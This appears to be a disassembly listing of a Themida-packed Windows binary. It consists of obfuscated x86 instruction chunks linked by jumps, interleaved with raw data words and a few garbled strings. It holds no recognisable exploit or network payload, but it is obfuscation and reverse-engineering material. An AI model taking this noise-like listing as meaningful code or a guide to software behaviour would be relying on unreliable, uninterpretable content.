53100B53h, 0CBE6E9h dd 805A6600h, 0F780FFEFh, 0F5F78015h, 2C5BF800h, 284C0418h dd 44C2CD8h, 0F4E95218h, 5B0000C9h, 45066858h, 0C890000h dd 7892B924h, 0CA011775h, 0C1E9h db 0 ; --------------------------------------------------------------------------- loc_54AED9: ; CODE XREF: Themida_:00549294j sub eax, ebx pop ebx mov ebp, eax mov eax, [esp] add esp, 4 shr ebp, 3 neg ebp shl ebp, 3 push ebx mov ebx, 6CD66D40h add ebx, 9C6CE56Ah or ebp, ebx pop ebx xor ebp, 0DD6FFEB8h add edi, 30DC491Fh add edi, ebp sub edi, 30DC491Fh pop ebp sub esp, 4 mov [esp], edi push dword ptr [esp+4] mov edi, [esp] add esp, 4 pop dword ptr [esp] mov esp, [esp] mul cx jmp loc_543C01 ; --------------------------------------------------------------------------- dd 8324048Bh, 36E904C4h, 68FFFFF6h, 4, 244C0159h, 1B4AE904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54AF4E: ; CODE XREF: Themida_:00550B31j sub esp, 4 mov [esp], esi push dword ptr [esp+4] jmp loc_556A04 ; --------------------------------------------------------------------------- loc_54AF60: ; CODE XREF: Themida_:00551612j add esp, 4 jmp loc_553C8D ; --------------------------------------------------------------------------- dd 2E4A6F05h, 51E80136h, 2E4A6FB9h, 59C82936h, 5E5B055Dh dd 0BB534A3Fh, 6AC57A2Bh, 0F381DBF7h, 1A617A5h, 4EC81h dd 0C890000h, 0B895E924h, 8159FFFFh, 88106CEAh, 0AFC5E976h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54AFA6: ; CODE XREF: Themida_:00552AF9j add edx, 0A251902Bh xor eax, edx jmp loc_546641 ; --------------------------------------------------------------------------- db 1 dd 0A716E9FDh, 0C281FFFFh, 4, 4B951h, 0CA010000h, 24148759h dd 41045Ch, 66412CD0h, 16B4505Ah, 7937E951h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54AFDE: ; CODE XREF: Themida_:00549A79j shl esi, 1 neg esi jmp loc_54FAB5 ; --------------------------------------------------------------------------- db 5 dd 3C7F1765h, 2E7E9h, 2434FF00h, 4EC815Fh, 89000000h, 0E2892414h dd 4C281h, 34E90000h db 7Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_54B00B: ; CODE XREF: Themida_:0054DCADj xor edx, 0EE31BB7h push esi mov esi, 0 sub esi, 2C4D6CAAh push ecx mov ecx, 4BC70BCBh neg ecx xor ecx, 71E60652h push esi jmp loc_548099 ; --------------------------------------------------------------------------- aZsb db '┤И│их',0 db 60h dd 0AC7EE91Eh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54B03E: ; CODE XREF: Themida_:00546E74j mov [esp], edx mov edx, 40A138A1h shl edx, 7 jmp loc_544013 ; --------------------------------------------------------------------------- word_54B04E dw 1CF6h ; DATA XREF: Themida_:005431D4o dd 44E99C24h, 83FFFF82h, 0C8904ECh, 18A3E924h, 0FF5B0000h dd 0C8B2434h, 0E1895124h, 0FF886CE9h, 2AE95FFFh db 8Ch, 2 dup(0FFh) ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 jmp loc_546C27 ; --------------------------------------------------------------------------- db 83h, 0C4h, 4 dd 71FDEF81h, 0FE016FDEh, 2434875Fh, 6624248Bh, 9C240431h dd 0FF81FAE9h, 4C481FFh, 8F000000h, 248B2404h, 2424D324h dd 81E5E99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54B0B6: ; CODE XREF: Themida_:00545A6Ej push dword ptr [esp] jmp loc_54D2CB ; --------------------------------------------------------------------------- loc_54B0BE: ; CODE XREF: Themida_:005490DBj push 800h jmp loc_558353 ; --------------------------------------------------------------------------- loc_54B0C8: ; CODE XREF: Themida_:0054D266j xor dword ptr [esp], 30200465h jmp loc_54DBF8 ; --------------------------------------------------------------------------- dword_54B0D4 dd 640FE9ACh ; DATA XREF: Themida_:00543134o db 2 dup(0) ; --------------------------------------------------------------------------- loc_54B0DA: ; CODE XREF: Themida_:0054A3B8j push dword ptr [esp] mov eax, [esp] add esp, 4 push esi push esp mov esi, [esp] jmp loc_551245 ; --------------------------------------------------------------------------- dd 5A2434FFh, 4C481h, 0E9550000h, 0CF72h, 4240481h, 8B000000h dd 0C481243Ch, 4, 8904EC83h, 68BA2414h, 0E973B257h, 3797h dd 8904EC83h, 0E2892414h, 44ACB951h, 89E92CD4h db 8Dh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54B133: ; CODE XREF: Themida_:00557DB8j add ecx, 4 add ecx, 4 jmp loc_5558E7 ; --------------------------------------------------------------------------- db 8Bh, 14h, 24h dd 0C704C483h, 60363042h, 6A3109E9h, 242C8B30h, 0FFA6BEE9h dd 100768FFh, 24E90000h db 0C5h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54B163: ; CODE XREF: Themida_:00553D14j not dword ptr [esp] pop esi push eax push esi pop eax pop esi neg eax push 0B10h mov [esp], esi jmp loc_54C4F1 ; --------------------------------------------------------------------------- loc_54B17A: ; CODE XREF: Themida_:00550FD7j mov [esp], esp add dword ptr [esp], 4 pop eax add eax, 4 push edi mov edi, 4 add eax, edi pop edi xchg eax, [esp] mov esp, [esp] or ebx, ebx jnz loc_55229C push ebx push 20h jmp loc_54643C ; --------------------------------------------------------------------------- db 81h, 0EEh, 0DDh dd 5B5C2924h, 0C681C629h, 7A657CA0h, 5EF50158h, 8704C583h dd 248B242Ch, 4A30F24h, 0CCE99C24h db 80h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54B1CF: ; CODE XREF: Themida_:0054C710j shr ecx, 7 push 354h jmp loc_54F03F ; --------------------------------------------------------------------------- dd 33240431h, 248B2404h, 24043124h, 80ADE99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54B1EE: ; CODE XREF: Themida_:00557CECj mov al, 43h mov dl, al jmp loc_556B57 ; --------------------------------------------------------------------------- db 81h dd 0FB3201F2h, 8BD601C2h, 0C4812414h, 4, 0FAC3C681h, 0F101EFA3h dd 0CC79E9h, 4EC8300h, 0E9243C89h, 0FFFFCB22h, 42474FFh dd 24048F58h, 4EC835Ch, 0BB241C89h, 1E4D30BAh, 3EBC143h dd 86D7E9h, 4CBC6800h, 2C890000h, 0E9E58924h, 0FFFFD230h dd 4C481h, 3E90000h db 0BEh, 2 dup(0) ; --------------------------------------------------------------------------- loc_54B257: ; CODE XREF: Themida_:00550030j add esi, 4 sub esi, 4 xchg esi, [esp] pop esp jmp loc_553399 ; --------------------------------------------------------------------------- loc_54B26C: ; CODE XREF: Themida_:00546A86j add edx, edi add edx, 25FD102Fh pop edi push ebp push ebx push 42EA38BEh pop ebx xor ebx, 6C6A0CFCh add ebx, 7E1E0951h neg ebx jmp loc_54EFD4 ; --------------------------------------------------------------------------- dd 815DEA01h, 261725EAh, 0B3FAE9D7h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54B29E: ; CODE XREF: Themida_:0054AA31j mov [esp], ebp push ebx jmp loc_5492EF ; --------------------------------------------------------------------------- db 5 dd 4, 405h, 24048700h, 5FC9805Ch, 861EE980h, 66D3F6D9h dd 9AD0E950h, 0BD550000h, 1F035A30h, 71857BBBh, 0E9EB2985h dd 0FFFFC35Dh, 0A4868h, 241C8900h, 2029A5BBh, 3B7D6870h dd 0C890000h, 59C7B924h, 52491783h, 666E50BAh, 0FFD13163h dd 835A2434h, 880504C4h, 2951D935h, 35882DC8h, 0E95951D9h dd 25E3h ; --------------------------------------------------------------------------- loc_54B314: ; CODE XREF: Themida_:005472F1j or edx, edi pop edi push edx push edx push dword ptr [esp+4] mov edx, [esp] add esp, 4 pop dword ptr [esp] not edx jmp loc_552458 ; --------------------------------------------------------------------------- db 0BFh, 61h, 40h dd 842D6901h, 2917E922h, 228405F8h, 3E917E9h, 8B00003Fh dd 0C4832404h, 5DD4E904h, 0C5000000h, 59E82858h, 12D46866h dd 24148966h, 723868h, 241C8900h, 0C381E389h, 4, 0E904EB83h dd 502h ; --------------------------------------------------------------------------- loc_54B374: ; CODE XREF: Themida_:00556D91j shr ebx, 5 jmp loc_543853 ; --------------------------------------------------------------------------- loc_54B37C: ; CODE XREF: Themida_:005441BAj push edx push dword ptr [esp+4] pop edx pop dword ptr [esp] mov esp, [esp] jmp loc_54329B ; --------------------------------------------------------------------------- db 1, 54h, 24h dd 0E95A5A04h, 0FFFFF148h, 4C481h, 52E90000h db 8Ch, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54B3A3: ; CODE XREF: Themida_:005455FEj mov esp, [esp] sub edx, 4 xchg edx, [esp] pop esp mov [esp], ecx mov ch, 0D8h and ch, 0ACh jmp loc_545F63 ; --------------------------------------------------------------------------- dw 1C89h dd 8F74E924h, 4481FFFFh, 3BEF0424h, 0DDE95A9Fh db 1Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_54B3CF: ; CODE XREF: Themida_:00547241j sub esi, 4 jmp loc_5488CF ; --------------------------------------------------------------------------- loc_54B3DA: ; CODE XREF: Themida_:0054F68Ej mov esi, 7E0432EDh xor esi, edx pop edx mov ebp, esi pop esi jmp loc_556C37 ; --------------------------------------------------------------------------- loc_54B3EA: ; CODE XREF: Themida_:00550D6Aj sub [esp], ebp mov ebp, [esp] add esp, 4 add ebp, 7FB26A78h push esi mov esi, 244C766Ch jmp loc_548C3D ; --------------------------------------------------------------------------- db 0BBh dd 4, 7EF7E9h, 4C48300h, 32A1BA52h, 6C812B6Ah, 64330424h dd 54015F7Ah, 44810424h, 64330424h, 3DE95F7Ah, 5800004Eh dd 76AC68h, 243C8900h, 0BB53E789h, 19B3A96h, 0C56EC381h dd 9AE9FE64h, 80000059h, 0EF8004C6h, 80F72827h, 0F0E927C7h dd 89000011h, 6DB22414h, 556968h, 241C8900h, 0E3809CB3h dd 0F6D3866Ah, 0C0D386D2h, 0C38005EBh, 8BDA282Ah, 0C481241Ch dd 4, 8904EC83h, 31B1240Ch, 6CE95366h db 7Fh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54B497: ; CODE XREF: Themida_:0054E320j and esi, 15812D5Ch not esi add esi, 71AB58F8h sub esi, 4FB90790h jmp loc_54C49A ; --------------------------------------------------------------------------- loc_54B4B0: ; CODE XREF: Themida_:00545B33j xor cl, 2 sub bl, cl pop ecx movzx eax, al push dword ptr [edi+eax*4] mov eax, [esp] push ecx push esp pop ecx push edx mov edx, 2AA4734Ch push ebx push 6F6726CAh pop ebx add edx, ebx mov ebx, [esp] add esp, 4 shl edx, 8 and edx, 7492A5Ah jmp loc_550F61 ; --------------------------------------------------------------------------- loc_54B4E5: ; CODE XREF: Themida_:0054FB55j push edx mov edx, 7EF4321Fh add edx, 0FFFFFFFFh xor edx, 7EF4321Fh jmp loc_547373 ; --------------------------------------------------------------------------- dd 8B1C7721h, 0C4812434h, 4, 0FF7D8EE9h db 0FFh ; --------------------------------------------------------------------------- loc_54B50D: ; CODE XREF: Themida_:0055301Fj mov ecx, 2BDA7190h jmp loc_546104 ; --------------------------------------------------------------------------- db 5Ch dd 24048F54h, 4BF57h, 44810000h, 62B00424h, 7C012CB0h dd 6C810424h, 62B00424h, 595F2CB0h, 4C181h, 0EC810000h dd 4, 0BE243489h, 4, 96F8E9h, 9DC38100h, 1F379E4h, 0BA525BD8h dd 2, 32640305h, 2DD00155h, 55326403h, 6190685Ah, 4890000h dd 2474FF24h, 24048B04h, 8DE1E953h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54B582: ; CODE XREF: Themida_:00556856j add ebp, 4 xchg ebp, [esp] pop esp jmp loc_54AE5C ; --------------------------------------------------------------------------- dw 0B9B9h dd 8165670Dh, 0DC18C3F1h, 0CC98138h, 81365A64h, 1A61E4C1h dd 6CE18165h, 0E974915Bh, 53C0h, 4EC81h, 24890000h, 0E9525024h dd 0FFFFAA90h, 8B243C87h, 0C80F2424h, 0FFCB5CE9h, 7F5868FFh dd 0B3E90000h, 8300007Dh, 524904C4h, 686090BAh, 93EA8154h dd 810E0332h, 0AB7136CAh, 5F28104h, 8101CF44h, 879FDEC2h dd 5E1E924h, 0FD010000h, 0CCBF5753h, 0F75A056Dh, 5E7C1D7h dd 8CBA524Fh, 0E92D1B78h, 0FFFFC7A0h ; --------------------------------------------------------------------------- loc_54B618: ; CODE XREF: Themida_:00554AC4j xor edx, esi jmp loc_54D21E ; --------------------------------------------------------------------------- loc_54B61F: ; CODE XREF: Themida_:005582CFj mov [esp], esp add dword ptr [esp], 4 jmp loc_5552D4 ; --------------------------------------------------------------------------- db 1 dd 58EE81C6h, 0E95EDA48h, 0FFFFD4BAh, 7FDE981h, 0CD011251h dd 3C156859h, 3C890000h, 2BF24h, 0B9510000h, 8F45C9Ah dd 0AC4AE953h, 0C281FFFFh, 71AB65BEh, 0E956D2F7h, 0FFFFD88Bh dd 0FF7C2EE9h, 4C681FFh, 0E9000000h, 577Eh, 0E9241C8Bh dd 0FFFFB18Ch dword_54B680 dd 24048B66h, 0C29BE9h ; DATA XREF: Themida_:00542FF0o db 0 ; --------------------------------------------------------------------------- loc_54B689: ; CODE XREF: Themida_:0054770Aj pop ebx push ebx mov ebx, esp jmp loc_54E89E ; --------------------------------------------------------------------------- loc_54B692: ; CODE XREF: Themida_:0055835Cj not dword ptr [esp] push dword ptr [esp] mov ebx, [esp] jmp loc_546848 ; --------------------------------------------------------------------------- loc_54B6A0: ; CODE XREF: Themida_:005521C3j mov edx, 70257473h shl edx, 4 add edx, 4D006110h or edx, 4F576DCFh shr edx, 2 jmp loc_54BC8D ; --------------------------------------------------------------------------- loc_54B6BC: ; CODE XREF: Themida_:005549FBj mov ecx, ebx pop ebx mov esi, [esp] add esp, 4 and eax, ecx mov ecx, [esp] add esp, 4 or eax, eax jz loc_544874 push ebp push esp mov ebp, [esp] add esp, 4 add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp jmp loc_546D34 ; --------------------------------------------------------------------------- loc_54B6F5: ; CODE XREF: Themida_:0054C3B9j push edi mov edi, esp push ecx mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp] pop esp mov [esp], edx mov edx, 1BB316AFh xor edx, 1BB316ABh add edi, edx mov edx, [esp] add esp, 4 jmp loc_5446C4 ; --------------------------------------------------------------------------- loc_54B726: ; CODE XREF: Themida_:0055743Aj neg edi push ecx push edi pop ecx jmp loc_544551 ; --------------------------------------------------------------------------- loc_54B730: ; CODE XREF: Themida_:00555E9Cj sub bl, 0B0h mov eax, [esp] add esp, 4 and al, bl pop bx jmp loc_55564A ; --------------------------------------------------------------------------- loc_54B745: ; CODE XREF: Themida_:00557EB0j push edx mov edx, 71FA3AC6h jmp loc_555113 ; --------------------------------------------------------------------------- loc_54B750: ; CODE XREF: Themida_:00554426j push edx jmp loc_5503EA ; --------------------------------------------------------------------------- dw 835Bh dd 0CD8104C4h, 46B5000Ch, 25C3B951h, 0C181096Ah, 2BB1F0ACh dd 0E959CD09h, 8B3Eh ; --------------------------------------------------------------------------- loc_54B774: ; CODE XREF: Themida_:00553185j pop ebx push 0 sub [esp], dl mov dl, [esp] add esp, 4 push eax jmp loc_55666C ; --------------------------------------------------------------------------- db 87h, 4, 24h dd 11E9E9h db 0 ; --------------------------------------------------------------------------- loc_54B791: ; CODE XREF: Themida_:00547B02j dec ebp push ebx jmp loc_544AA6 ; --------------------------------------------------------------------------- dd 6DC7815Eh, 8151E215h, 72065DEFh, 0E9F82931h, 6618h ; --------------------------------------------------------------------------- loc_54B7AC: ; CODE XREF: Themida_:00554063j pop esi add esi, 4 push edi mov edi, 4 jmp loc_5493A0 ; --------------------------------------------------------------------------- dw 77B3h dd 8008E3C0h, 0CBFEB6F3h, 2DE9D3F6h, 68FFFFB7h, 5B0Dh dd 0E9241C89h, 0B3C9h, 0C57CE2BDh, 40E95001h, 89000097h dd 0F6E95AD0h, 8BFFFF95h, 0C483240Ch, 4EC8104h, 89000000h dd 0E789243Ch, 4C781h, 0C7830000h, 0BD68E904h, 814EFFFFh dd 0D92217CEh, 0A9C68111h, 810A080Dh, 0F7F6DCC6h, 0E9F201C3h dd 1ACBh ; --------------------------------------------------------------------------- loc_54B828: ; CODE XREF: Themida_:0054C165j add ecx, eax jmp loc_545053 ; --------------------------------------------------------------------------- db 83h dd 545504C4h, 1D64E9h, 81D30100h, 0A8457BC3h, 0A55EE913h dd 78BD0000h, 0F7749016h, 9FE952D5h, 81000022h, 0A95374E6h dd 1EBF5771h, 0C12B5B40h, 814F07EFh, 0F4717FC7h, 561E9ACh db 2 dup(0) ; --------------------------------------------------------------------------- loc_54B86E: ; CODE XREF: Themida_:0054C73Cj sub eax, edx push esi jmp loc_558259 ; --------------------------------------------------------------------------- dw 1C87h aS9 db '$И╫9',0 align 2 dw 8153h dd 4ECh, 24248900h, 630EE950h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54B88E: ; CODE XREF: Themida_:00545B00j add ebx, 71A8702Dh jmp loc_5515DA ; --------------------------------------------------------------------------- db 59h, 31h, 0C2h dd 8124048Bh, 4C4h, 78B85000h, 0C160531Dh, 0D0F704E8h dd 3D64C40Dh, 7C054048h, 315BEA4Dh, 24048BC2h, 5104C483h dd 0CD05DBB9h, 9243E94Fh, 0E952FFFFh, 99DEh dword_54B8D4 dd 24248B66h, 0FF79BEE9h, 241C33FFh, 0E9241C31h, 0FFFFBBA0h ; DATA XREF: Themida_:00543110o dd 54240C89h, 83240C8Bh, 0E95204C4h, 1802h, 982DBFB9h dd 0FFCE295Bh, 83592434h, 0EEC104C4h, 4DF68108h, 0E90DDE69h dd 2FA9h, 8B241C87h, 0CD32424h, 78E99C24h, 5FFFFF79h, 7435E9h dd 4C48100h, 0FF000000h, 2C8B2434h, 0E1895124h, 4C181h dd 0BF570000h, 1AF765BFh, 7074BA52h, 0EAC13E33h, 9AF28106h dd 0E928FB58h, 4040h ; --------------------------------------------------------------------------- loc_54B958: ; CODE XREF: Themida_:0055381Cj push 6B9Dh mov [esp], eax jmp loc_54C0B0 ; --------------------------------------------------------------------------- aShtl db 'ShБl',0 dw 8900h dd 0F8E9242Ch, 1FFFFE8h, 0B64BE9DEh, 0C890000h, 0E9595424h dd 7D07h, 7AE19DBEh, 0E9CE2967h, 0FFFFB120h, 815AD101h dd 4C1h, 240C8700h, 37E7E9h, 0E9515100h, 0FFFFE160h, 24148B66h dd 148B5452h, 4C48324h, 4C281h, 0EA810000h, 4, 31241433h dd 14332414h, 24248B24h, 89240489h, 0DDE5E9E0h db 2 dup(0FFh) word_54B9D6 dw 8B66h ; DATA XREF: Themida_:0054317Co dd 89522404h, 0A1CDE9E2h, 0CFBD0000h, 81109D5Bh, 0D203DFF5h dd 5DE8292Ch, 3F5E5B2Dh, 27ED2D4Ah, 3057C41h, 2D05BF1Bh dd 31902C29h, 2905D829h, 2D31902Ch, 5BF1B03h, 0FF7DF4E9h dd 24048FFFh, 6624248Bh, 0E9240489h, 0FFFF7877h ; --------------------------------------------------------------------------- loc_54BA24: ; CODE XREF: Themida_:0055361Fj xchg ebp, [esp] jmp loc_55385A ; --------------------------------------------------------------------------- dd 8B2434FFh, 0C481241Ch, 4, 51E08950h, 2128B0B9h, 56D1F746h dd 650211BEh, 0F6814E48h, 68630D23h, 5846EE81h, 683BF7h dd 29000000h, 815E2434h, 88458CCEh, 9AEE8121h, 1DEF43Fh dd 0C1815EF1h, 52696899h, 4DE9F181h, 0C801694Dh, 0FFBB8FE9h db 0FFh ; --------------------------------------------------------------------------- loc_54BA81: ; CODE XREF: Themida_:0054D954j inc eax add eax, 41D82AD4h sub eax, 5A314F1Ch mov edi, eax pop eax push edi pop esi pop edi push edx push ebx mov ebx, 49321E8Eh jmp loc_554CA7 ; --------------------------------------------------------------------------- dw 8F54h dd 84E92404h db 0E1h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54BAA7: ; CODE XREF: Themida_:005438C4j push edx push eax mov eax, 65297FBDh mov edx, 4A20020Fh xor edx, eax jmp loc_555644 ; --------------------------------------------------------------------------- dw 0EC81h dd 4, 81242489h, 42404h, 1EE90000h db 0EEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54BACF: ; CODE XREF: Themida_:00550260j pop esp and eax, edx mov edx, [esp] add esp, 4 shr eax, 8 xor eax, ecx push eax push edi mov edi, esp add edi, 4 jmp loc_5471D3 ; --------------------------------------------------------------------------- db 66h dd 3025B551h, 815966EFh, 4ECh, 85F8E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54BB02: ; CODE XREF: Themida_:0054E965j add esp, 4 dec ebx neg ebx push 0E3Dh jmp loc_550659 ; --------------------------------------------------------------------------- loc_54BB15: ; CODE XREF: Themida_:00553CA6j xor edx, 54F02787h and esi, edx pop edx push esi not dword ptr [esp] jmp loc_5490C2 ; --------------------------------------------------------------------------- loc_54BB27: ; CODE XREF: Themida_:00554C1Fj push ecx push dword ptr [esp+4] pop ecx pop dword ptr [esp] pop esp jmp loc_54BE59 ; --------------------------------------------------------------------------- dw 0BBBh dd 1666F6Ah, 5AE95BDFh db 72h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54BB43: ; CODE XREF: Themida_:00551DB0j xor ebp, [esp] xor [esp], ebp jmp loc_547BDB ; --------------------------------------------------------------------------- loc_54BB4E: ; CODE XREF: Themida_:00551669j mov [esp], eax mov eax, 327B1929h neg eax neg eax sub eax, 144B15B7h sub esi, eax pop eax mov edi, esi mov esi, [esp] jmp loc_54EA10 ; --------------------------------------------------------------------------- dd 99E9615Ch, 81FFFFEBh, 4C1h, 4E98300h, 5C240C87h, 0B2241489h dd 9DC280C2h, 0E907EAC0h, 5059h, 875FFA01h, 248B2414h dd 64685224h, 89000059h, 4812424h, 424h, 0EC815A00h, 4 dd 0B8240489h, 242B1CEDh, 0FF909DE9h, 240C89FFh, 47A9BB9h dd 2444813Bh, 9D20A808h, 244C017Ch, 246C8108h, 9D20A808h dd 90E9597Ch, 1000062h, 24148BD1h, 4C481h, 0C8310000h dd 5152E9h db 0 ; --------------------------------------------------------------------------- loc_54BBF1: ; CODE XREF: Themida_:00556AB4j inc ecx push edx mov edx, 44DD62CDh and ecx, edx pop edx xor ecx, 84202h jmp loc_555EAC ; --------------------------------------------------------------------------- dw 0C483h dd 8BD48804h, 0C4832414h, 53C4FE04h, 0C053B252h, 0CA8004EAh dd 0FEC2FE13h, 32CA80C2h, 88F7F280h, 0EBC05AD3h, 362AE906h dd 0ED810000h, 0B6090AACh, 89EF8957h, 0A0E95FFAh, 81FFFF7Ch dd 0BEE7C2F2h, 5AD50195h, 8704ED83h, 248B242Ch, 24148924h dd 0FFA372E9h, 247401FFh, 24448104h, 604AF404h, 2CE95E05h dd 66FFFF76h, 66243C89h, 22474FFh, 0AA38E9h db 0 ; --------------------------------------------------------------------------- loc_54BC7D: ; CODE XREF: Themida_:00548590j not ebp and ebp, 7C04438Eh shr ebp, 8 jmp loc_55517C ; --------------------------------------------------------------------------- loc_54BC8D: ; CODE XREF: Themida_:0054B6B7j push edi mov edi, 0AB16E90h add edx, edi jmp loc_5525E2 ; --------------------------------------------------------------------------- loc_54BC9A: ; CODE XREF: Themida_:0054EF23j push 0E7D79E6h pop ecx neg ecx xor ecx, 0FB92C63Eh mov esi, ecx pop ecx mov ebx, 0ECC241Bh jmp loc_555A0F ; --------------------------------------------------------------------------- db 89h, 2Ch, 24h dd 2F9D6857h, 815F2A50h, 502F99F7h, 5FFD892Ah, 2C8BE901h dd 4C48124h, 55000000h, 4BDh, 5DE92900h, 736568h, 240C8900h dd 42474FFh, 9B34E959h, 0D9F70000h, 83C8C181h, 3AE98EEFh db 0E6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54BCFB: ; CODE XREF: Themida_:0054EFB1j pop esi push ecx mov ecx, 5B711943h push 104Dh jmp loc_555A48 ; --------------------------------------------------------------------------- dd 3B16BB53h, 0D82960ADh, 57241C8Bh, 0C781E789h, 4, 0E904C783h dd 0FFFFE9F9h dword_54BD28 dd 68D831ADh, 4FCh, 0E9241C89h, 64C9h ; DATA XREF: Themida_:00543150o ; --------------------------------------------------------------------------- loc_54BD38: ; CODE XREF: Themida_:00548A8Dj push edi jmp loc_54C15B ; --------------------------------------------------------------------------- loc_54BD3E: ; CODE XREF: Themida_:005480DDj add ecx, ebp pop ebp shr ecx, 8 push ebp jmp loc_554809 ; --------------------------------------------------------------------------- dw 815Dh dd 4C5h, 4C58300h, 31242C33h, 2C33242Ch, 0EC835C24h, 24148904h dd 24148B54h, 0A404E9h, 5BD90100h, 0C8BC801h, 4C48324h dd 8B70E953h, 0E9290000h, 4B95E981h, 2C8B79F2h, 9AE95724h dd 81FFFFABh, 42404h, 0A8E90000h db 65h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54BD9B: ; CODE XREF: Themida_:005442DBj mov ecx, 0AA37510h sub ebx, ecx pop ecx or ebx, 0DE12F17h shl ebx, 3 xor ebx, 560D821Fh or ebp, ebx mov ebx, [esp] jmp loc_5470D5 ; --------------------------------------------------------------------------- loc_54BDBC: ; CODE XREF: Themida_:005470E9j xor [esp], esi xor esi, [esp] jmp loc_543D07 ; --------------------------------------------------------------------------- db 83h dd 0E1E904C4h, 10000A5h, 0FB4DE9FEh, 0BF57FFFFh, 617631C2h dd 2D5FF801h, 3DF6AEAh, 7A93BF57h, 0EFC1086Dh, 83EF8103h dd 0C1613F63h, 0E78105EFh, 729123Ah, 0F34C781h, 15E92B5Dh dd 100006Bh, 0E9505BD8h, 0FFFF807Dh, 42474FFh, 8DA5E95Eh dd 814DFFFFh, 4D2738C5h, 81EDD10Dh, 4E5B32EDh, 5DE88916h dd 6412E955h, 0E9520000h, 0FFFFE2CCh, 8EBB951h, 79E9531Ch db 2Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_54BE43: ; CODE XREF: Themida_:00552F54j pop eax loc_54BE44: ; CODE XREF: Themida_:0054D9F8j push ecx jmp loc_552E98 ; --------------------------------------------------------------------------- aQsP db 'QИ+P',0 align 10h dd 5602C783h, 5149E9h db 0 ; --------------------------------------------------------------------------- loc_54BE59: ; CODE XREF: Themida_:0054BB31j mov [esp], ebx sub esp, 4 mov [esp], esi jmp loc_549B0F ; --------------------------------------------------------------------------- db 5 dd 410D0860h, 0E958C529h, 0FFFF8EEEh, 5C242C87h, 8B24048Fh dd 0B0E92424h, 0F70000B2h, 41E940D8h, 5C000035h, 53240489h dd 0FF82B8E9h db 0FFh ; --------------------------------------------------------------------------- loc_54BE95: ; CODE XREF: Themida_:00552C0Bj pop edi jmp loc_54CB7B ; --------------------------------------------------------------------------- db 5 dd 242F3D3Bh, 0F662B205h, 23330564h, 815F2E75h, 4ECh, 240C8900h dd 8904EC83h, 21682434h, 0FF6A3065h, 565E2434h, 0FF78D6E9h db 0FFh ; --------------------------------------------------------------------------- loc_54BEC9: ; CODE XREF: Themida_:005478C8j add esp, 4 jmp loc_54919A ; --------------------------------------------------------------------------- db 1, 0CEh, 0E9h dd 0FFFFAD39h, 366CC781h, 0C78103E5h, 46C92E0Fh, 0EF81DF29h dd 46C92E0Fh, 366CEF81h, 1C8B03E5h, 4C48124h, 81000000h dd 0D58DCCC7h, 8BF831EEh, 6E9243Ch, 81FFFFE0h, 106E73C1h dd 241C8B0Fh, 0E9E28952h, 543Fh, 4B8h, 14A0E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54BF26: ; CODE XREF: Themida_:00554B9Fj shr edx, 3 or edx, 4E231064h xor edx, 771956FDh or edx, 6FD95CA9h xchg ebx, edx jmp loc_550CFD ; --------------------------------------------------------------------------- loc_54BF42: ; CODE XREF: Themida_:005443C2j add esp, 4 xor bh, cl mov ecx, [esp] push eax mov eax, esp push ebp mov ebp, 44F102EAh sub ebp, 3CBE7491h jmp loc_552C2C ; --------------------------------------------------------------------------- db 0FFh, 34h, 24h dd 0FF998AE9h, 0F7CE87FFh, 53CE87D1h, 216291BBh, 6850E918h dd 4810000h, 424h, 0B9515800h, 57414AADh, 6CB4C981h, 0B8505071h dd 0A015AFEh, 3504E8C1h, 2FA13D3h, 0D46E9h, 72F5E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54BFA6: ; CODE XREF: Themida_:0055615Cj push edx mov dh, 6Ch jmp loc_5579D1 ; --------------------------------------------------------------------------- loc_54BFAE: ; CODE XREF: Themida_:00557625j push dword ptr [esp] pop eax push ebx jmp loc_551F02 ; --------------------------------------------------------------------------- dd 240C8B66h, 47968h, 242C8900h, 0FFBD41E9h db 0FFh ; --------------------------------------------------------------------------- loc_54BFC9: ; CODE XREF: Themida_:005532BFj add esp, 4 jmp loc_549E0E ; --------------------------------------------------------------------------- db 81h, 0C5h, 12h dd 8382B8E4h, 3C8904ECh, 15F8BF24h, 0F9E949CCh db 82h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54BFE7: ; CODE XREF: Themida_:0054515Dj pop ebp mov edi, [esp] add esp, 4 pop ebx push 7D15h mov [esp], edx push 1ACAh mov [esp], ebp jmp loc_556E75 ; --------------------------------------------------------------------------- loc_54C004: ; CODE XREF: Themida_:0054A9C8j shr ecx, 1 xor ecx, 0A61435Dh add ecx, 0FC5E2D7Dh sub edi, ecx pop ecx sub edi, ecx jmp loc_54CFC3 ; --------------------------------------------------------------------------- dd 0E9240487h, 7C9Bh, 4EA835Eh, 0E9241487h, 4153h ; --------------------------------------------------------------------------- loc_54C030: ; CODE XREF: Themida_:005443CEj push ebp push esp jmp loc_5456EC ; --------------------------------------------------------------------------- db 30h dd 3AE95AF0h db 9Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_54C03F: ; CODE XREF: Themida_:00544520j add ebx, esi jmp loc_5530F6 ; --------------------------------------------------------------------------- dw 885Bh 